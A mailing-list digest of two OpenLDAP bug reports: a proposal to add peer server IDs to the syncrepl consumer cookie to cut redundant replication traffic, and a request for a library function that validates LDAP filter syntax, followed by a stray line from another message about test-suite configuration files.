[Issue 9356] New: Add list of peerSIDs to consumer cookie to reduce cross traffic
by openldap-its＠openldap.org
https://bugs.openldap.org/show_bug.cgi?id=9356
Issue ID: 9356
Summary: Add list of peerSIDs to consumer cookie to reduce
cross traffic
Product: OpenLDAP
Version: 2.5
Hardware: All
OS: All
Status: UNCONFIRMED
Severity: normal
Priority: ---
Component: slapd
Assignee: bugs(a)openldap.org
Reporter: quanah(a)openldap.org
Target Milestone: ---
If we add a list of peersids to the cookie, each consumer can tell the
providers who else the consumers talk to and then the provider can omit sending
updates to that consumer, originating from those peers
There's some special handling needed if a connection dies
If a consumer loses one of its peer connections, and after N retries is still
not connected, it should send a new cookie to its remaining peers saying
"here's my new peer list" with the missing one removed. Likewise, if a retry
eventually connects again, it can send a new cookie again
Make that peer list reset configurable in the syncrepl config stanza. This can
help account for end admin knowledge that some links may be more or less stable
than other ones.
The idea here is that if one of your other peers can still see the missing
peer, they can start routing updates to you again
It should abandon all existing persist sessions and send a new sync search with
the new cookie to all remaining peers
For consumer side, also means adding the sid for a given provider into the
syncrepl stanza to save on having to try and discover the peer sid.

[Issue 9393] New: Provider a LDAP filter validation function
by openldap-its＠openldap.org
https://bugs.openldap.org/show_bug.cgi?id=9393
Issue ID: 9393
Summary: Provider a LDAP filter validation function
Product: OpenLDAP
Version: 2.4.56
Hardware: All
OS: All
Status: UNCONFIRMED
Severity: normal
Priority: ---
Component: libraries
Assignee: bugs(a)openldap.org
Reporter: best(a)univention.de
Target Milestone: ---
In many situations I need to validate if a user submitted LDAP filter has valid
syntax.
It seems there is no official function to check this.
Could you provide one?
libraries/libldap/filter.c: ldap_pvt_put_filter() can be used as a basis.
--
My current workaround is using a unconnected ldap connection and do a search
with that filter. This yields a FILTER_ERROR (invalid filter) or a SERVER_DOWN
error (invalid filter).

instead are environment variables handled by run.in and defines.sh. This
should be deleted from conf.sh
